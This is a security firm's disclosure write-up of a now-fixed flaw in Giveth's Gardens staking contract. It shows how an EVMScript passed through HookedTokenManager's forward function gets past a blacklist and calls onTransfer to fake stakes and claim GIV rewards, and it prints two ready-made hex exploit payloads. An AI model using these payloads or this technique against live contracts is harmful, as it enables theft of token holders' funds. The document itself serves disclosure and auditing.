All your staking rewards are belong to us

This is a write-up of a critical vulnerability found by Decurity during the audit of Giveth smart contracts conducted together with PowerInside Security Lab. The bug allowed to claim the rewards out of thin air from the staking contract deployed in production. This contract incentivized GIV token holders to stake their tokens and get in return governance tokens (gGIV) that could be used in the voting procedures of the Giveth DAO. As we discovered the complex logic of Aragon OS left a subtle backdoor into a crucial part of this contract. In case of a successful attack the profit for a malicious actor could be 150,000-450,000 GIV tokens per reward period. The vulnerability existed only in the staking contract on Gnosis chain, client donations were never at risk due to this issue.

The contract GardenUnipoolTokenDistributor is a modified version of 1hive Unipool which in its turn is a fork of Synthethix Unipool. Unipool was initially developed by Anton Bukov and was one of the first implementations of on-chain LP rewards staking. It is worth noting that Unipool itself is not vulnerable, however after several iterations of forking in different environments a critical bug arose.

1hive’s Unipool fork is integrated into Gardens which is a governance platform for DAOs. This token distribution contract is used to incentivize voting by distributing rewards for those who wrapped their tokens into the governance tokens with voting power.

In order to wrap a token, one has to call the wrap function on the contract HookedTokenManager. It will transfer tokens (i.e. GIV) from the user to itself and will mint an equivalent amount of governance tokens (gGIV). During the process, it will call function onTransfer on a hooked contract which is GardenUnipoolTokenDistributor. In this hook GardenUnipoolTokenDistributor allows only HookedTokenManager as msg.sender and performs staking and withdrawal based on the direction of wrapping: if a user wraps their tokens, onTransfer in GardenUnipoolTokenDistributor will call internal function stake, if a user unwraps from a governance token to the base token, it will call withdraw. These functions increase and decrease balances and totalSupply which are then used to calculate the amount of the rewards for a particular user. 

/**
    * @dev Overrides TokenManagerHook's `_onTransfer`
    * @notice this function is a complete copy/paste from
    * https://github.com/1Hive/unipool/blob/master/contracts/Unipool.sol
    */
function _onTransfer(
    address _from,
    address _to,
    uint256 _amount
) internal override returns (bool) {
    if (_from == address(0)) {
        // Token mintings (wrapping tokens)
        stake(_to, _amount);
        return true;
    } else if (_to == address(0)) {
        // Token burning (unwrapping tokens)
        withdraw(_from, _amount);
        return true;
    } else {
        // Standard transfer
        withdraw(_from, _amount);
        stake(_to, _amount);
        return true;
    }
}

During the audit, we found a way to call onTransfer on GardenUnipoolTokenDistributor with arbitrary parameters without actual wrapping (i.e. owning) any tokens.

HookedTokenManager has a functionality that allows executing EVM bytecode (aka EVMScripts) after a proposal has been accepted. In the vulnerable implementation, the external function forward was exposed. It expected a parameter _evmScript with such EVM bytecode. The only prerequisite to call forward is to own any amount of governance tokens:

function _canForward(address _sender) internal view returns (bool) {
    return hasInitialized() && token.balanceOf(_sender) > 0;
}

After this, an array called blacklist is initialized:

// Add the managed token to the blacklist to disallow a token holder from executing actions
// on the token controller's (this contract) behalf
address[] memory blacklist = new address[](2);
blacklist[0] = address(token);
blacklist[1] = address(wrappableToken);

It has two elements: base token (e.g. GIV) and governance wrappableToken (gGIV). The meaning of this blacklist is to restrict addresses that  HookedTokenManager can interact with after runScript(_evmScript, input, blacklist) is executed.

In runScript an executor contract address is retrieved via getEVMScriptExecutor(_script), which calls getScriptExecutor on a script executor registry contract:

function getEVMScriptExecutor(bytes _script) public view returns (IEVMScriptExecutor) {
    return IEVMScriptExecutor(getEVMScriptRegistry().getScriptExecutor(_script));
}

function getEVMScriptRegistry() public view returns (IEVMScriptRegistry) {
    address registryAddr = kernel().getApp(KERNEL_APP_ADDR_NAMESPACE, EVMSCRIPT_REGISTRY_APP_ID);
    return IEVMScriptRegistry(registryAddr);
}

getScriptExecutor will return the address of the executor based on the first 32 bits of _script which is known as specId. If specId is 0x000001 getScriptExecutor will return address 0x66cb00d0e6b7afca429dc7ef5830d35bb59d05d3 which is not a verified smart contract, but we can find the source code on GitHub in AragonOS repository. After the script executor is retrieved, HookedTokenManager performs a delegatecall to execScript function of the CallsScript executor. In execScript a blacklist check is performed:

address contractAddress = _script.addressAt(location);
// Check address being called is not blacklist
for (uint256 i = 0; i < _blacklist.length; i++) {
    require(contractAddress != _blacklist[i], ERROR_BLACKLISTED_CALL);
}

And then a call to a user-controlled address with user-controlled calldata is performed. We cannot call base token and governance token from HookedTokenManager, because they are explicitly blacklisted. Otherwise, we could just call transfer on GIV token from HookedTokenManager and transfer all GIV tokens to any address. 

However, the address of GardenUnipoolTokenDistributor is not blacklisted, which means that we can directly call onTransfer with arbitrary parameters. The flow would be like this:

HookedTokenManager.forward(_evmScript) 
→ delegatecall(CallScript.execScript(_evmScript, _input, _blacklist)) 
→ call(GardenUnipoolTokenDistributor.onTransfer(_from, _to, _amount))

_evmScript should have the following structure:

00000001                                 // specId
d93d3bdba18ebcb3317a57119ea44ed2cf41c2f2 // address to call
00000064                                 // calldata len
4a39314900000000000000000000000000...    // calldata

calldata is an ABI-encoded structure to call onTransfer

function: onTransfer
address:  0x0 // _from
address:  0x4141414141414141414141414141414141414141 // _to
uint256:  0x1337 // _amount

An example _evmScript payload to stake 828653270925887950688198360 GIV tokens without transferring them to HookedTokenManager:

0x00000001d93d3bdba18ebcb3317a57119ea44ed2cf41c2f2000000644a3931490000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000
0041414141414141414141414141414141414141410000000000000000000000000000000000
00000002ad7227d4292df7a82d9ed8

By simulating a transaction on Tenderly which calls forward on HookedTokenManager from an address that has a non-zero balance of gGIV with this payload we can confirm that GardenUnipoolTokenDistributor updates its balances with our parameters:

After having manipulated the balance, we can craft another _evmScript which will perform a withdrawal (just need to swap _from and _to):

0x00000001d93d3bdba18ebcb3317a57119ea44ed2cf41c2f2000000644a39314900000000000
00000000000004141414141414141414141414141414141414141000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000
00002ad7227d4292df7a82d9ed8

Tenderly allows to adjust block.timestamp, so we can simulate that we withdraw just before periodFinish:

As a result, we successfully claimed GIV tokens out of thin air.

We informed the Giveth team about this bug as soon as we simulated the successful attack. It turned out that other projects on the Gardens platform shared the same vulnerable HookedTokenManager. We reported this issue to 1hive, the developer of Gardens, and the bug was qualified as eligible for a bounty. At the time of writing the vulnerability is fixed by removing the forward function.


If you need a professional security audit for your blockchain software, smart contracts, or a dApp, do not hesitate to submit the contact form. Check out our previous audits at GitHub.